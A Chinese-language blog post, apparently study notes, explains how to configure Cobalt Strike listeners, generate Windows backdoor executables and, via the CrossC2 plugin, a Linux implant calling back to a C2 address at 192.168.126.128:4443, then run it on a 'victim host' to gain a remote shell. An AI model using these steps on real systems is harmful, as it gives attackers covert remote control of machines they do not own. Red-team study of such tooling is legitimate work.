Cobaltstrike 学习笔记(二)上线主机shell


前言

本篇记录下Cobaltstrike上线windows及linux主机shell的基本操作流程。

0x01 监听器Listner配置

首先是新增一个监听器,目前Cobaltstrike 4.2支持如下几种方式,具体作用介绍可以看这篇文章解释:监听器和基础设施管理

创建一个HTTP方式的监听器,点击保存

0x02 后门Payload配置

生成后门这块主要介绍下图中的三种方式

Payload Generator

该模块可以生成各种语言版本的payload,包括C,C#,Python,Java,Perl,Powershell脚本,Powershell命令,Ruby,Raw,免杀框架Veli中的shellcode等等

Windows Excutable

该模块可以生成可执行Windows木马,此对话框生成Windows可执行文件,如:exe,dll等。

Windows Excutable(s)

该模块可以生成无状态的可执行Windows木马,将无状态Beacon导出为Windows可执行文件。

0x03 上线windows主机

首先是生成一个windows类型的后门文件,这里监听器选择刚才生成http的方式,然后点击Generate生成后门exe文件

将生成的exe后门文件放入受害主机中运行,即可在Cobalstrike看到上线的windows主机

接下来就可以进行一系列操作,例如命令执行操作

shell whoami
shell ipconfig
...

0x04 上线linux主机

上线linux主机需要通过依赖一个CobaltStrike的插件CrossC2,在受害Linux主机上执行木马反弹一个CobaltStrike类型的shell。

受限说明:
目前强制只支持HTTPS beacon.
CobaltStrike: 暂时仅支持3.14最后一个版本(bug fixs), 以及4.x版本(详见cs4.1分支).
Linux: 特别老旧的系统可以选择cna中的"Linux-GLIBC"选项(2010年左右)
MacOS: 新系统仅支持64位程序
iOS: sandbox
Embedded: only *nix

下载CrossC2

git clone https://github.com/gloxec/CrossC2.git

将项目src目录下 genCrossC2.Linux 文件上传到CobaltStrike服务端目录下

将 CobaltStrike 服务端的 .cobaltstrike.beacon_keys 下载到 CobaltStrike 客户端目录下

修改项目src目录下 CrossC2.cna 脚本中CC2_PATH, CC2_BIN 路径为真实路径

3:    $CC2_PATH = "D:\\tools\CobaltStrike4.2\\payload\\CrossC2\\src\\"; # <-------- fix
4:    $CC2_BIN = "genCrossC2.Win.exe";

然后在 CobaltStrike 客户端中找到 CrossC2.cna 文件进行安装

注意:安装这个CrossC2.cna步骤主要是用来在 CobaltStrike 客户端直接生成后门文件用的,但是在windows上运行可能会遇到很多坑,所以建议还是直接在 CobaltStrike 服务端进行生成后门文件命令即可。如果不嫌麻烦也可以看这篇文章解决windows上遇到的坑:CrossC2踩坑记录

由于 Cross C2 目前只支持HTTPS Beacon,所以需要新建一个HTTPS方式的监听器进行监听

在 CobaltStrike 服务端目录下运行生成后门文件命令

格式:
./genCrossC2.Linux [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName]
 
 参数:
-platform        'MacOS' / 'Linux'
-arch            'x86' / 'x64'
 
例子:
./genCrossC2.Linux 192.168.126.128 4443 null null Linux x64 C2

将生成的后门文件C2放入受害linux主机中运行,即可在Cobalstrike看到上线的linux主机

接下来就可以进行一系列操作,例如命令执行操作

参考文章


文章作者: Luckysec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Luckysec !
评论
  目录